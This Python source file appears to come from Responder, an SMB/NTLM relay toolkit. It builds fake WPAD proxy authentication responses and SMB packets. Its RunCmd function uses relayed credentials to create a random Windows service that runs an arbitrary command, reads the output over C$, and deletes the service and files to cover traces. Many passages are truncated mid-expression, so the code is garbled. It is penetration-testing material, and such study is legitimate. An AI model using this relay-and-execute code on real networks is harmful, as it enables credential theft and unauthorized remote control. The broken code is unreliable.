#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import struct
import sys
import random
import time
from odict import OrderedDict
import datetime
from base64 import b64decode, b64encode
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################HTTP Proxy Relay##########################
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
##################SMB Relay Packet##########################
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoCairo(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack(" 255:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
else:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
if len(NTLMData)-8 > 255:
self.fields["AsnSecMechLenOfLen"] = "\x82"
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
else:
self.fields["AsnSecMechLenOfLen"] = "\x81"
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
if len(NTLMData)-12 > 255:
self.fields["ChoosedTagLenOfLen"] = "\x82"
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
else:
self.fields["ChoosedTagLenOfLen"] = "\x81"
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
if len(NTLMData)-16 > 255:
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
else:
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
## Packet len
self.fields["andxoffset"] = struct.pack("", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack(" 0.5:#Timeout
break
try:
data = s.recv(1024)
if data:
Completedata.append(data)
Start=time.time()
else:
break
except:
pass
s.setblocking(1)
return s, ''.join(Completedata)
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
if data == None:
return False
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\xa2\x22":
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
return False
## DCE/RPC Write.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData()
x.calculate()
f = data[42:44]
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0])
w.calculate()
x = SMBDCEPacketData(Data=w)
x.calculate()
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\xb0":
print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n"
return False
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
return False
#print "[+] Creating service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
ContextHandler = data[88:108]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service\n"
return False
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLStartService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open the service.\n"
return False
ContextHandler = data[88:108]
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
##Tree connect c$
if data[8:10] == "\x2e\x00":
#print "[+] Command executed, grabbing output now."
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
#time.sleep(1)#Maybe the command executed took some time..
#print "[+] Removing service.\n[+] Cleaning up files.\n"
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, command failed.
print "[+] The command failed."
return data
##ReadRequest.
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
if data[8:10] == "\x2d\x00":
ReturnedFID = data[41:43]
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
t = ReadRequestAndX(FID=ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
s, data = SMBReadRecv(s)
#print "[+] Output:\n"
print ExtractCommandOutput(data)
##Close Request
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = CloseRequest(FID = ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##DeleteFileRequest.
if data[8:10] == "\x04\x00":
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
#print "[+] Deleting file now."
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x06\x00":
#print "[+] File deleted, making sure it's not there anymore.."
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
return data